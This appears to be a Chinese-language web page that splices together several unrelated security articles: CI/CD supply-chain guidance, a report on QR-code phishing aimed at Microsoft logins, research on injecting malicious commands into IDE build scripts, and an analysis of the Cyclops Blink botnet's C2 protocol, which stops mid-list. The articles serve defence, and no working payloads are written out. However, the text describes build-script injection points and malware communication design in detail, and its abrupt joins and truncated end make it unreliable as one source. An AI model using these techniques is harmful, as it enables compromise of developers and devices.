•支持生成證據的基礎設施（例如SBOM 生成器、數字簽名生成器）。
5.1.1 安全構建要在構建過程中獲得數字供應鏈安全保證，需要完成以下任務：
1）指定有關構建的政策，包括使用安全隔離平台執行構建並加固構建服務器，用於執行構建的工具，以及執行構建流程的開發人員所需的身份驗證/授權。
2）使用代理和策略執行引擎等技術執行這些構建策略。
3）確保同時生成構建認證的證據，以證明在軟件交付期間符合安全構建流程。
促進第二項任務的常用技術是將CI 工具的命令與收集證據的功能結合起來，並最終創建整個SDLC 的證據跟踪。
第一類證據來自構建系統本身，它應能確認所使用的工具或流程處於隔離環境中。這可提供內部操作保證。第二類應收集的證據包括最終構建製品、文件、庫和製品中使用的其他材料以及所有事件的哈希值。然後，由構建框架中不受開發人員控制的可信組件使用數字證書對其進行簽名，以創建證書，從而為消費者提供軟件質量的可驗證證明，使他們能夠獨立於軟件生產者驗證該製品的質量，從而為消費者提供保證。在這種情況下，製品是由一系列CI 流程步驟生成的構建。
就'同時生成證據'而言，生成的證據應由信任度或隔離度高於構建本身的流程啟用，以防止篡改。此類證據的生成需要在構建過程中進行驗證。
構建階段的認證由以下部分組成：
1.環境認證：涉及CI 流程發生時的系統清單，一般指運行構建流程的平台。平台的組件（如編譯器、解釋器）必須經過加固、隔離和安全處理。
2.過程認證：涉及將原始源代碼或材料轉化為人工製品的計算機程序（如編譯器、打包工具）和/或對該軟件進行測試的程序（如代碼測試工具）。對於只觀察CI 流程的工具來說，有時很難區分哪些數據應填入流程證明，哪些數據應填入材料認證。執行源轉換的工具讀取的文件可能會影響轉換工具的選擇，也可能包含在轉換本身的輸出中。因此，流程證明的填充應被視為'盡力而為'。
3.材料認證：涉及任何原始數據，可包括配置、源代碼和其他數據（如依賴關係）。
4.製品認證：製品是CI 流程的結果或成果。例如，如果CI 流程步驟涉及在C 語言編寫的源代碼上運行編譯器（如GNU 編譯器集(GCC)），那么生成物就是該源代碼的可執行二進製文件。如果該步驟涉及在同一源代碼上運行SAST 工具，則生成物將是'掃描結果'。生成該製品的步驟可以是最終步驟，也可以是中間步驟。與新生成產品有關的證明屬於人工製品證明類別。
與簽名證據（即認證）及其存儲相關的要求必須包括以下內容：
•認證必須使用安全密鑰進行加密簽名。
•存儲位置必須防篡改，並使用強大的訪問控制加以保護。
這些認證可用於評估政策合規性。政策是一份簽名文件，其中包含了對要驗證的製品的要求。該策略可能包括檢查參與CI 流程的每個職能部門是否使用了正確的密鑰來生成證明，是否找到了所需的證明，以及是否指定了根據相關元數據評估證明的方法。該策略使核查人員能夠在製品生命週期的任何時刻跟踪其合規狀態。
上述能力共同提供了以下保證：
•軟件由授權系統按照正確的步驟順序使用授權工具（如每個步驟的基礎設施）構建。
•沒有證據表明存在潛在的篡改或惡意活動。
5.1.2 對存儲庫進行安全的PULL-PUSH操作數字供應鏈的第一項安全任務是確保源代碼開發實踐的安全。在CI/CD 管道中，代碼駐留在資源庫中，由授權開發人員使用PULL 操作提取、修改，然後使用PUSH 操作放回資源庫。要授權這些PULL-PUSH 操作，需要兩種形式的檢查：
1.授權執行PULL-PUSH操作的開發人員所需的驗證類型。開發人員提出的請求必須與其角色（如應用程序更新者、軟件包管理器）相符。擁有'合併審批'權限的開發人員不能審批自己的合併。
2.代碼庫中代碼的完整性值得信賴，可用於進一步更新。
確保代碼庫中代碼可信度的各種機制包括：
•PULL-PUSH請求1：項目維護者應對推送的變更中涉及的所有製品進行自動檢查，如單元測試、襯墊、完整性測試、安全檢查等。
•PULL-PUSH請求2：只有在對工具源代碼來源的可信度有信心的情況下，才能使用這些工具運行CI 流水線。
•PULL-PUSH請求3：版本庫或源代碼管理系統（如GitHub、GitLab）應a) 在沙箱環境中運行CI 工作流，不允許訪問網絡、任何特權訪問或讀取機密；或b) 具有內置保護功能，可延遲CI 工作流的運行，直至獲得具有寫入權限的維護者批准。當外部貢獻者向公共版本庫提交拉取請求時，這種內置保護就會生效。這種保護的設置應該是最嚴格的，例如'要求所有外部合作者批准'。
•PULL-PUSH請求4：如果源代碼管理系統中沒有內置保護功能，則需要具有以下功能的外部安全工具：
評估和加強SCM系統安全態勢的功能，無論有無策略（如開放策略代理（OPA）），都能評估SCM賬戶的安全設置，並生成一份包含可行建議的狀態報告。
通過檢測和修復錯誤配置、安全漏洞和合規問題，提高源代碼管理系統安全性的功能。
5.1.3 軟件更新期間證據生成的完整性軟件更新過程通常由一類特殊的軟件開發工具執行，該工具被稱為軟件更新系統。對軟件更新系統的威脅主要針對證據生成過程，目的是清除更新的痕跡，阻止確定更新是否合法的能力。
軟件更新系統有多種類型：
•軟件包管理器負責管理系統中安裝的所有軟件
•只負責個別已安裝應用程序的應用程序更新程序
•軟件庫管理器，用於安裝可增加功能的軟件，如插件或編程語言庫。
軟件更新系統的主要任務是識別給定更新票據所需的文件，並下載可信文件。乍一看，建立下載文件信任所需的唯一檢查似乎就是通過驗證與單個文件或軟件包相關的元數據上的簽名來執行的各種完整性和真實性檢查。然而，簽名生成過程本身可能會受到已知攻擊的影響，因此軟件更新系統需要許多與簽名生成和驗證相關的其他安全措施。
為軟件更新系統提供安全保障的不斷發展的框架已將其中許多必要的安全措施納入其規範，並為未來的規範規定了其他一些措施。框架是一套庫、文件格式和實用程序，可用於確保新的和現有軟件更新系統的安全。框架應通過要求在執行簽名操作前滿足第5.1.1節中定義的策略來保護簽名操作。以下是該框架的部分共識目標：
•該框架應能防範對軟件更新系統所執行任務的所有已知攻擊，如元數據（哈希值）生成、簽名過程、簽名密鑰管理、執行簽名的機構的完整性、密鑰驗證和簽名驗證。
•該框架應提供一種方法，通過支持具有多個密鑰和閾值或法定人數信任的角色（旨在使用單個密鑰的最低信任角色除外），將密鑰洩露的影響降至最低。對使用高危密鑰的角色來說，密鑰洩露的影響應該是最小的。因此，在線密鑰（即以自動方式使用的密鑰）不應用於客戶最終信任其可能安裝的文件的任何角色。當密鑰在線使用時，應格外小心保管，例如將其存儲在硬件安全模塊(HSM) 中，並且只有在被簽名的製品通過第5.1.1節中定義的策略時才允許使用。
•該框架必須足夠靈活，以滿足各種軟件更新系統的需求。
•該框架必須易於與軟件更新系統集成。
5.1.4 安全代碼提交代碼提交前應進行適當形式的測試，且必須滿足以下要求：
•SAST 和DAST 工具（涵蓋開發中使用的所有語言）應在CI/CD 管道中運行，並向開發人員和安全人員提供代碼覆蓋率報告.
•如果使用開源模塊和庫，則必須列舉、了解和評估依賴關係（通過使用SCA 工具，如源鑑SCA開源威脅管控平台）。此外，還必須測試它們應滿足的安全條件。依賴關係文件檢測器應檢測所有依賴關係，包括傳遞依賴關係，最好不限制要分析的嵌套依賴關係或傳遞依賴關係的深度。
代碼提交過程中所需的一種安全措施是防止秘密進入提交的代碼。這可以通過對秘密的掃描操作來實現，並產生一種稱為推送保護的功能。該功能應滿足以下要求：
•提交請求1：（例如，個人訪問令牌） 評估已提交代碼是否符合組織政策，包括是否存在密鑰和應用程序編程接口(API) 令牌等機密。檢測到的秘密應通過安全儀錶盤等媒體顯著顯示，並在檢測到違反政策時生成適當的警報，同時記錄補救違反政策的方法。
•提交請求2：分配給管理員的所有版本庫都應啟用推送保護功能。此類保護應包括開發人員身份/授權驗證、強制執行開發人員對代碼提交的簽名以及文件名驗證。
5.2 確保CD管道中流水線的安全以下是CD 過程中應使用的一些盡職調查措施。這些措施可以通過定義允許或不允許部署製品的驗證策略來實施。
•部署請求1：對於已在版本庫中並準備部署的代碼，應調用安全掃描子功能來檢測代碼中是否存在密鑰和訪問令牌等機密。在許多情況下，即使在代碼填充之前，也應掃描版本庫中是否存在秘密，因為根據版本庫的可見性，秘密出現在版本庫中可能意味著憑證已經洩露。
•部署請求2：在合併拉取請求之前，應該可以通過依賴性審查的形式查看任何易受攻擊版本的詳細信息。
•部署請求3：如果已經建立了安全的構建環境和相關流程，那麼就應該可以指定部署的製品（即容器鏡像）必須是由該構建流程生成的，這樣才能允許部署。
•部署請求4：應該有證據表明容器鏡像已進行過漏洞掃描並證明了漏洞發現。漏洞掃描的一個重要因素是運行時間。由於用於掃描製品的工具會不斷更新以檢測新出現的漏洞，因此與過去的掃描結果相比，最近的掃描結果更有可能是準確的，並能提供更好的保證。這種技術可確保只有經過驗證的容器鏡像才能進入環境，並在運行期間保持可信，從而使DevOps 團隊能夠實施主動的容器安全態勢。具體來說，應該可以根據組織定義的策略允許或阻止鏡像部署。
•部署請求5：應定期檢查發行版構建腳本是否存在惡意代碼。需要執行的具體任務包括：
容器鏡像一經構建，甚至在推送到註冊表之前，就應進行漏洞掃描。早期掃描功能也可以內置到本地流水線中。
用於與包含容器鏡像和語言包的資源庫進行交互的工具應能與CD工具集成，從而使所有活動成為自動CD管道的組成部分。
5.2.1 安全CD 管道-GitOps在CI/CD 管道中，構建期間和之後的所有操作都涉及與中央存儲庫（如Bitbucket、GitHub 和GitLab）的交互。這些操作統稱為GitOps，是一種由Argo CD 和Flux 等開源工具推動的自動化部署流程。 GitOps 既適用於基礎架構代碼，也適用於應用代碼，包括提交、分叉、拉取和推送請求。
GitOps 的使用範圍如下：
•將基礎設施作為代碼進行管理
•管理和應用群集配置
•將容器化應用程序及其配置自動部署到分佈式系統。
在部署前創建配置數據、捕獲與特定版本相關的所有數據、運行期間修改軟件以及執行監控操作時，應執行以下數字供應鏈安全任務：
•GitOps請求1：流程應依靠自動化而非手工操作。例如，應避免手動配置數百個YAML 文件來回滾Git 倉庫集群上的部署。
•GitOps請求2：為GitOps 提供便利的軟件包管理器應保存已發佈軟件包的所有數據，包括所有模塊的版本號、所有相關配置文件以及其他適合軟件運行環境的元數據。
•GitOps請求3：不應在運行時手動應用變更（如kubectl）。相反，應該對相關代碼進行更改，並觸發包含這些更改的新版本。這樣才能確保Git 提交始終是集群中運行內容的唯一真實來源。
•GitOps請求4：由於Git 倉庫包含應用程序定義和配置代碼，因此應自動提取並與這些配置的指定狀態進行比較（即監控和補救漂移）。對於任何偏離指定狀態的配置，可執行以下操作：
管理員可以選擇自動將配置重新同步到定義的狀態。
應就差異發出通知，並進行人工補救。
5.3 數字供應鏈CI/CD 管道安全-實施策略如果不對基本業務流程和運營成本造成巨大影響，所有企業都不可能一次性實施數字供應鏈安全所需的大量步驟。相反，提供數字供應鏈安全性的解決方案可大致分為以下幾類：
1.通過與DevSecOps 管道中每項任務相關的功能確保數字供應鏈安全的解決方案：
a.通過確保不被篡改的構建管道來驗證軟件的正確構建，例如提供對構建過程中使用的依賴關係和步驟的可驗證可見性，因為被破壞的依賴關係或構建工具是中毒流水線的最大來源。
b.為交付流水線的每個步驟指定核對清單，以便為實施提供指導，並檢查和執行對核對清單遵守情況的控制。
2.通過數字簽名和證書確保完整性和出處的解決方案。
3.確保運行代碼為最新代碼的策略，如製定'構建期限'（即超過一定期限的代碼不應啟動），以盡可能使生產過程與軟件源中已提交的代碼保持一致。
4.保護CI/CD 客戶端，防止惡意代碼竊取機密信息（如專有源代碼、簽名密鑰、雲憑證）、讀取可能包含機密的環境變量，或將數據外洩到敵方控制的遠程端點。
6.結語敏捷開發模式下數字應用以最快速度將代碼從IDE或Git存儲庫帶到生產環境中，加快了部署速度，提升了業務系統上線的效率，但數字供應鏈的安全性對於敏捷開發範式來說同樣至關重要，任何一個漏洞都可能造成巨大的損失。
作為數字供應鏈安全開拓者和DevSecOps敏捷安全領導者，懸鏡將持續帶來專業的國際化視角，與行業同仁及用戶共同探討交流，踐行網絡安全社會責任，守護中國數字供應鏈安全。
二維碼無處不在，你可以在海報和傳單、ATM屏幕、價籤和商品甚至建築物上看到它們，人們用它們來分享信息，推廣各種在線資源，然而，你卻很少在電子郵件中看到二維碼。用戶無需掃描即可在手機上直接閱讀信息，因為大多數信件都帶有普通的超鏈接，但攻擊者正越來越多地通過電子郵件發送的二維碼來實施攻擊。
與易於檢查和屏蔽的釣魚鏈接不同，二維碼是安全解決方案中令人頭疼的問題。分析二維碼並找出其中包含的信息，需要昂貴且資源豐富的計算機視覺技術。更糟糕的是，雖然一個普通的鏈接只需看一眼就可以整理出來，但使用二維碼，在掃描之前，你無法判斷它會把你重定向到哪裡。
二維碼也稱快速響應碼，是一種二維矩陣條形碼，由幾個正方形和多個點（模塊）組成，排列在白色背景上的正方形圖案中，可以使用圖像處理設備來掃描QR碼。它將首先通過正方形識別代碼的位置，然後讀取點中編碼的信息，除了實際的代碼外，方形區域還可以容納裝飾元素，例如公司徽標。
二維碼比1D條形碼能夠編碼更多的數據，它們通常用於編碼指向各種資源的超鏈接，例如商店目錄、結賬頁面或建築信息頁面。
電子郵件中的惡意二維碼攻擊者使用二維碼對網絡釣魚和詐騙頁面的鏈接進行編碼，研究人員在2021年底註冊了第一次使用該技巧進行惡意電子郵件活動的嘗試。這些都是模仿聯邦快遞（FedEx）和DHL等快遞服務公司電子郵件的詐騙信息，受害者會被誘騙通過掃描二維碼支付關稅，編碼的鏈接正在重定向到一個偽造的銀行卡數據輸入頁面。這場活動的規模不大，並到2022年年中有所減少。研究人員在2023年春季觀察到的以二維碼為特色的新電子郵件活動，與第一次不同的是，這次是針對微軟產品企業用戶的登錄名和密碼。
攻擊者向受害者發送信息，告知他們的公司電子郵件帳戶密碼即將過期，為了保留對賬戶的訪問權限，用戶需要掃描二維碼。一些電子郵件將來自免費郵件地址，另一些則來自最近註冊的域名，在一些信息中，攻擊者在二維碼中添加了微軟安全標誌，以提高可信度。
帶有二維碼的釣魚郵件
在收到釣魚郵件並掃描代碼後，用戶將被重定向到一個類似微軟登錄頁面的虛假登錄頁面，只要輸入登錄名和密碼，攻擊者就可以訪問該帳戶。
除了敦促用戶更改密碼或更新個人數據的消息外，我們還檢測到一個未發送的電子郵件通知活動，該活動還使用二維碼重定向到虛假的微軟帳戶登錄頁面。
以下截圖所示的信件沒有二維碼標誌，但帶有“此郵件來自可信來源”的字樣，讓用戶放鬆警惕。
未發送的郵件通知
掃描二維碼時看到的一些頁面位於IPFS資源中，攻擊者會用這種分佈式文件系統發起攻擊。 IPFS是一種點對點的網絡協議，旨在創建持久且分佈式存儲和共享文件的網絡傳輸協議，IPFS網絡釣魚活動與傳統網絡釣魚活動類似，攻擊者模仿合法服務和軟件（如DHL、DocuSign和Adobe）來增加進入目標收件箱的可能性。
統計數據
從2023年6月到8月，研究人員檢測到8878封包含二維碼的網絡釣魚郵件，惡意活動在6月份達到頂峰，有5063封信，到8月份減少到762封信。
2023年6月至8月帶有二維碼的釣魚電子郵件數量趨勢
總結攻擊者可以通過多種方式使用二維碼。首先，這些代碼使他們能夠避免安全措施檢測和屏蔽他們的電子郵件，查看二維碼內容並不容易，而且消息中沒有釣魚鏈接；此外，一封信不能僅僅因為裡面有二維碼就被屏蔽，儘管二維碼不是一個流行的電子郵件元素，但二維碼也可以用於合法的通信，例如發件人的自動簽名；其次，由於消息中不包含鏈接，因此無需註冊額外的帳戶或域來重定向用戶，從而隱藏網絡釣魚；最後，大多數用戶使用智能手機攝像頭掃描二維碼，並希望盡快解決問題。因此，他們可能會忽略重定向到的頁面的地址行，因為它在移動瀏覽器中不太顯眼。
另一方面，合法發件人幾乎從不在郵件中使用二維碼，因此僅僅在電子郵件中出現二維碼就可能引發懷疑；此外，掃描二維碼需要另一個設備，而用戶可能沒有現成的設備。目前研究人員還沒有觀察到許多基於二維碼的攻擊活動，他們只能假設實際掃描代碼的收件人不多。儘管如此，考慮到該機制的使用情況，預計這種攻擊在短期內會增加，且活動本身也會變得更加複雜，並針對特定目標進行調整。
最近，趨勢科技的研究人員分析了幾種可被濫用來攻擊供應鏈的攻擊載體的概念證明，其中一種便是針對開發者的供應鏈攻擊，該證明重點關注了本地集成開發環境（IDE），考慮當項目或生成被錯誤地“信任”時，通過注入命令執行惡意生成腳本的情況。
在本文中，我們將關注供應鏈的一個特定部分——開發者本身。要找到針對開發者的合適攻擊模型，我們必須首先了解誰是開發者、他們的工作流程和日常工具。我們還將重點放在開發者和他們各自的工具如何被濫用來破壞供應鏈。
誰是“開發者”?按照字面理解，將開發者定義為開發計算機軟件的人。在安全研究人員的理解中，則是寫代碼的人。這包括流行的編程或腳本語言，如Java、JavaScript、TypeScript、Go、Python、C/c++和許多其他語言，包括基礎設施或容器部署定義，如Dockerfile、Kubernetes、Terraform HCL等。僅從這個描述來看，該定義就涵蓋了IT行業的各個部分，包括編寫代碼的每個人、安全研究人員等等。
儘管工作流本身可能因開發者和公司的不同而有所不同，但根據開發者如何使用集成開發者環境(IDE)，它很可能屬於以下類別之一：
1.本地IDE：開發者在自己的設備上本地安裝了IDE。在這種情況下，開發者有兩個選擇：
1.1將代碼拉入或推送到遠程存儲庫，並在本地執行生成和調試；
1.2將更改提交到遠程存儲庫，觸發持續集成/持續交付（CI/CD）事件，並導致質量保證（QA）評估，甚至部署到生產環境中。
2.雲IDE：開發者使用雲服務託管的IDE，如AWS Cloud9、Visual Studio Online、GitHub代碼空間和許多其他當今可用的平台。在這種情況下，開發者設備就像網關一樣工作，通常通過瀏覽器訪問IDE，主要的代碼執行是在雲服務提供者內部的雲IDE的遠程主機中執行的。
由於開發者涵蓋多個職業，一些工作流可能會從列表中排除一些項目。例如，本文的概念證明很可能不會建立一個完整的CI/CD管道。然而，大多數工作流將包括使用IDE進行開發。在這篇文章中，我們將重點放在本地IDE上。
本地IDE的示例當使用本地IDE時，其中一個示例是開發者將代碼拉到本地計算機上。該代碼被進一步編譯為二進制格式，以便執行。對以前的貢獻者編寫的代碼有一種隱含的信任，因為大多數開發者認為代碼庫可能不會被污染，因為它可以按預期工作。這種信任不僅存在於源代碼本身中，還存在於生成腳本、庫、依賴項和其他項目文件中。這就引出了第一個攻擊場景：將惡意操作注入到項目文件或生成腳本中。
作為開發者，在執行遠程代碼之前，是否有必要在拉入遠程代碼之後閱讀生成腳本？
研究人員通過向生成腳本或項目文件注入惡意生成命令(如果適用的話)來測試各種流行的IDE和編程語言。以下是測試的IDE版本的結果：
Eclipse2022-09ApacheNetBeans16PyCharm2022.2.4IntelliJIDEA2022.03VisualStudio2022VisualStudioCode1.73.1當我們考慮通用攻擊模型時，還必須包括每個非受控輸入。這包括源代碼及其文件，並包括生成前和生成後腳本和IDE擴展(如果適用的話)。我們之前在2020年的一篇文章中寫過可能存在惡意IDE擴展的危險。
IDE攻擊模型
我們為每個IDE定義了以下場景，以驗證可能的攻擊模型：
開發者在線從不受信任的存儲庫中拉入代碼；
開發者在IDE中打開一個項目；
開發者試圖編譯或生成項目；
使用Visual Studio代碼從Visual Studio Code 1.57版(2021年5月發布)開始，代碼編輯器引入了Workspace Trust的概念。此功能通過防止代碼從不受信任的文件和存儲庫執行，幫助開發者安全地瀏覽和編輯代碼，而不考慮源代碼或作者。這可能是由於當時第三方擴展漏洞的數量不斷增加，當被濫用時，在打開不受信任的文件時，可能會允許遠程代碼執行（RCE）。這個概念很簡單：除非工作區是可信的，否則它不允許任何（生成/調試）任務或某些擴展功能運行。這就可以將責任轉移到開發者身上，並提示他們是否要信任下載的代碼。
這裡要強調的是，不要盲目地信任每一個工作區。
Visual Studio代碼工作區信任對話框
開發者應該尋找和考慮哪些代碼不應該被信任的可疑跡象？在其他示例中，應該引起開發者警惕的跡象包括：
較低的下載量；
論壇上共享的項目；
灰色區域；
一般未經證實的來源；
未知的人；
在執行IDE任務之前，應通過審計項目目錄中的文件以查找可疑或惡意命令來驗證.vscode/tasks.json文件，尤其是從未知源下載時。
惡意生成任務的示例
惡意命令可以隱藏在tasks.json文件下並偽裝成生成命令。當開發者試圖生成之前盲目信任的項目時，開發者設備將執行遠程代碼，這可能是惡意的。攻擊者還可以通過在常規生成命令之間隱藏惡意命令，使有效負載更為隱蔽，這將減少開發者的懷疑。
在模擬中，我們通過Pastebin在遠程服務器上放置了一個腳本。這是一種被一些攻擊者濫用的方法，將其惡意有效載荷發送到受感染的設備中。這項技術對攻擊者的好處是可以遠程更改有效載荷。例如，在成功感染後，可以將有效負載更改為無害的內容。
使用Visual StudioVisual Studio是Microsoft用於.NET和C++開發的專有IDE，它沒有工作區信任功能。因此，開發者在加載不受信任的項目文件和執行生成時應該格外小心。惡意的生成前或生成後任務可能會被注入到文件中，從而導致從生成開始就執行不必要的執行。
Visual Studio項目文件預生成任務命令示例
嵌入預生成PowerShell執行的概念驗證示例
使用其他IDE在Eclipse IDE中，仍然可以注入生成命令。因此，文件是不同的。首先，ExternalToolBuilder的生成命令必須在.project文件中指定，參考在. externaltoolbuilders文件夾中定義實際執行命令的另一個文件。通過將多個生成命令鏈接在一起，我們可以實現與Visual Studio Code中相同的多個命令執行。
.project文件節鏈接生成執行規範的示例
生成事件外部命令規範
由於使用外部生成工具的項目文件注入適用於基本IDE的範圍，因此它僅適用於實際代碼編譯為二進製文件的語言。這包括Java和C/c++，但不包括像PHP這樣的語言，因為不執行生成。
NetBeans IDE主要用於Java開發，儘管它還通過第三方擴展支持PHP、HTML5、JavaScript或C/C++開發。 Java開發項目可以利用Maven、Gradle或Ant作為其依賴關係管理和生成自動化工具。因此，項目和生成定義可能不同。然而，所有這些工具都支持將第三方流程作為生成前或生成後操作來執行。在這種情況下，攻擊者可以注入惡意代碼，並希望開發者不會注意到並不情願地執行。
對於Ant，注入可以在nbproject/build-impl.xml文件中完成，方法是將以下代碼片段添加到一個合適的目標標記中：
Ant的注入點和触發生成時的命令執行示例
當開發者使用Maven作為生成工具時，可以通過更改項目文件夾中的pom.xml來實現相同的目標。這一次，在生成標記中使用了org.codehaus.mojo插件。所使用的語法類似於Ant所使用的語法。
Maven第三方執行示例
對於Gradle，Groovy語言腳本用於位於app/build.gradle內部的生成定義，並且對所選任務內的字符串調用execute()函數將觸發代碼執行。
Gradle第三方執行示例
儘管“打開項目”對話框有一個“信任項目生成腳本”選項，但其功能僅對Gradle項目有效。如果未選中，它將阻止Gradle腳本啟動，因此，當加載項目作為CVE-2020-11986修復時，代碼執行是可能的。儘管如此，當用戶決定手動執行生成時，不會顯示進一步的對話框，並且生成被認為是可信的。
NetBeans中的“信任項目生成腳本”複選框
IntelliJ IDEA是另一個用於Java、Kotlin、Groovy和其他基於Java虛擬機(JVM)的語言開發的IDE。它還支持Ant生成腳本。加載包含Ant生成腳本的項目會觸發一個對話框警告，提示它可能會執行潛在的惡意代碼，如果它不是來自可信的源，建議使用安全模式。當開發者試圖在安全模式下執行生成時，IDE會警告用戶該操作只能在可信模式下完成。
IntelliJ IDEA顯示潛在惡意生成腳本的警告
IntelliJ IDEA生成安全模式生成警告
PyCharm是用於Python開發的IDE。 Python腳本通常不會在執行之前編譯。然而，開發者仍然可以指定自定義運行/調試配置，允許在實際腳本執行之前執行第三方二進製文件。這可能用於腳本數據輸入準備。
運行執行前的外部工具
該操作在項目內部被參考。但是，實際的可執行規範存儲在不同的位置，更具體地說，存儲在~/.config/JetBrains/PyCharmXXXX/tools/External Tools.xml。正如我們所看到的，該文件存儲在用戶主目錄中，保護它不受攻擊模型場景的影響，因為它需要修改本地文件系統。
運行前任務參考
運行前任務定義
總結研究人員使用執行惡意生成腳本的攻擊場景評估了所有已識別的IDE，向這些生成腳本中註入惡意命令是可能的。如上所述，一些IDE明確警告開發者惡意操作的可能性，除非項目配置將其標記為明確可信，否則不允許執行任務。另一方面，一些IDE使用這樣的假設，即當開發者打開一個項目或將其複製到他的工作區時，它會自動被信任，並且不需要任何進一步的操作。
無論我們使用什麼IDE，總會權衡安全性和可用性。開發者不應該盲目地相信互聯網上的每一個開源項目。在執行任何生成操作之前，開發者至少應該知道他們有可能成為目標並審查生成腳本。
我們還想強調，上述攻擊場景不僅限於本地IDE，而且安全重要性在於所使用的工作流和工作區信任本身，無論開發者在容器或支持在線IDE的VM中執行實際生成/編譯的情況如何。一旦工作區被標記為可信，並且生成腳本被修改，它可能會在環境中觸發不需要的代碼執行，並導致IDE具有訪問權限。以下是開發者可以記住的一些最佳安全實踐：
使用安全配置的CI/CD平台，在具有適當的基於角色的訪問控制（RBAC）的外部設備或服務上執行生成，只有授權人員才能更改生成腳本；
在集成到項目之前，檢查外部源代碼和生成腳本；
避免在審計之前盲目使用開箱即用的解決方案，特別是當這些解決方案在社區中沒有廣泛使用或來自未經核實的來源時；
定期跟踪變更並進行審查。
本文會詳細介紹針對華碩路由器的Cyclops Blink 惡意軟件變種的技術能力，並包括150 多個當前和歷史命令和控制(CC) 服務器的Cyclops Blink 殭屍網絡的列表。
最近一個名為Cyclops Blink的模塊化殭屍網絡對諸多型號的華碩路由器發起了攻擊。自2019年首次出現以來，該殭屍網絡最初針對的是WatchGuard Firebox設備。根據英國國家網絡安全中心(NCSC) 進行的分析，Cyclops Blink 是一種高級模塊化殭屍網絡，據報導與Sandworm 或Voodoo Bear 高級持續威脅(APT) 組織有關，最近已被用於攻擊WatchGuard Firebox 設備。我們獲得了針對華碩路由器的Cyclops Blink 惡意軟件系列的變種。
本報告討論了這個Cyclops Blink 惡意軟件變種的技術能力，並包括了Cyclops Blink 殭屍網絡的150 多個當前和歷史命令和控制(CC) 服務器的列表。此列表旨在幫助網絡安全防御者在其網絡中搜索受影響的設備並進行修復。追踪發現，儘管Cyclops Blink 是一個國家支持的殭屍網絡，但它的CC 服務器和木馬會影響不屬於關鍵組織的WatchGuard Firebox 和華碩設備，或者那些對經濟、政治或軍事間諜活動具有明顯價值的設備。
因此，我們認為Cyclops Blink 殭屍網絡的主要目的可能是為進一步攻擊高價值目標構建基礎設施。
Sandworm APT 組織被認為創建了Cyclops Blink 和VPNFilter 物聯網(IoT) 殭屍網絡。 VPNFilter 於2018 年首次被發現，專門針對路由器和存儲設備。據報導，它還感染了數十萬台設備。 2021 年，趨勢科技發布了VPNFilter 的技術分析，其中專門介紹了殭屍網絡在被發現兩年後如何繼續影響受感染的系統。
Sandworm 還對許多引人注目的攻擊負責，包括2015 年和2016 年對烏克蘭電網的攻擊、2017 年NotPetya 攻擊、2017 年法國總統競選、2018 年冬奧會奧運會毀滅者攻擊以及2018 年針對禁止化學武器組織。
Cyclops Blink 惡意軟件分析Cyclops Blink 是用C 語言編寫的模塊化惡意軟件。在其核心組件中，惡意軟件首先要做的是檢查其可執行文件名是否以'[k'開頭。如果沒有，它將執行以下例程：
1.它將stdout 和stderr 文件描述符重定向到/dev/null；
2.它為SIGTERM、SIGINT、SIGBUS、SIGPIPE 和SIGIO 信號設置默認處理程序；
3.它使用新的'[ktest]'進程名稱重新自我加載。
然後它會等待37 秒，然後再設置其硬編碼參數。這些包括硬編碼的CC 服務器和應該用於與CC 服務器通信的時間間隔。
它還通過調用pipe() 函數來創建用於進程間通信(IPC) 的管道，以獲取用於讀取和寫入數據的兩個文件描述符。它還通過使用ioctl() 為寫入文件描述符啟用非阻塞I/O。
之後，將在內存中創建一個新的數據包，然後將其發送到CC 服務器。本分析稍後將介紹此通信的詳細信息。
對於用於與CC 服務器通信的每個硬編碼TCP 端口，惡意軟件會在Netfilter（Linux 內核防火牆）中創建一個規則，使用libiptc1 中的iptc_insert_entry() 函數來允許與其進行輸出通信。規則具有以下參數：
由於未知原因，惡意軟件刪除了上述規則並再次創建它們，這次是通過system() 函數使用iptables 命令。命令如下：
然後對OpenSSL庫進行初始化，核心組件繼續初始化硬編碼的模塊。
模塊初始化在此期間，核心組件初始化模塊。通過管道與模塊進行通信。對於每個硬編碼的模塊，惡意軟件會在它們自己的子進程中執行之前創建兩個管道。
初始化模塊的函數
在下圖中，我們推斷出以下mod_t 結構：
推斷的mod_t 結構，最後一個成員未知。
參數然後初始化參數，它們由一個592 字節的結構組成，其中包含通過管道發送到模塊的基本信息。這些信息包括：
一個“p:”字符串頭；
核心部件的管道；
所有CC IP 地址和端口；
本地IP 地址；
CC服務器通信的時間間隔；
當下一個要發送到CC 服務器的數據包；
主進程PID；
硬編碼ID（0xA08F078B、0xBD0A5B36 和0xA244E5E2）；
參數被推送到模塊，此時模塊被初始化。
CC 通訊從模塊獲取數據後，核心組件啟動加密程序，在將數據發送到CC 服務器之前對數據進行加密。
加密Cyclops Blink 使用動態加載的受感染設備中應該可用的OpenSSL 功能對數據進行加密。
數據使用AES-256 在密碼塊鏈接(CBC) 模式下使用隨機生成的256 位密鑰和128 位初始化向量(IV) 進行加密。然後使用每個樣本唯一的硬編碼RSA-2560（320 位）公鑰對其進行加密。
惡意軟件開發者決定使用EVP_SealInit() 函數。此函數執行所有上述加密步驟，包括隨機AES 密鑰和IV 生成。
CC服務器必須有相應的RSA私鑰才能解密數據。
加密後，如果數據包總長度大於98303 字節，則發送數據包。
數據傳輸為了向CC 服務器發送數據，核心組件在隨機TCP 端口上與隨機選擇的CC 服務器執行TLS 握手，兩者都來自硬編碼列表。
在選擇一個IP地址和一個TCP端口對之後，核心組件創建一個子進程來執行通信。子進程將連接到CC服務器，並向SSL套接字寫入四個字節。這四個字節是它想要發送的數據包大小。
子進程將四個字節寫入SSL 套接字
服務器必須用一個精確的四字節回答，也就是受害者的IPv4地址。
然後將10 個字節寫入核心組件管道。數據遵循特定格式。例如：
然後核心組件從CC 服務器接收更多數據。這一次，它希望使用硬編碼的RSA-2560 公鑰來解密加密的數據包。
惡意軟件需要一個響應，其中前四個字節是數據包的大小，後跟加密數據。
接收和解密來自CC服務器的數據的核心組件代碼
如果接收到某些內容，則將其解密並寫入到主管道。為了解密，該惡意軟件使用RSA_public_decrypt()函數，該函數利用RSA加密算法的“可逆性”解密用相應私鑰加密的數據。
最後，將更新一個變量，該變量包含下一次應該發送的數據包，並將所有的參數再次發送給模塊，這是因為核心組件可以從CC服務器接收新參數。
命令從CC服務器接收到的數據包括對核心組件本身或其模塊的命令。
首先，核心組件將受支持的命令發送到CC服務器，然後進入一個循環，在這個循環中它需要其中一個命令。
如果命令以核心組件為目標，它可以是以下之一：
0、終止程序；
1、繞過數據發送間隔，立即向CC服務器發送數據；
2、將新的CC 服務器添加到內存列表中；
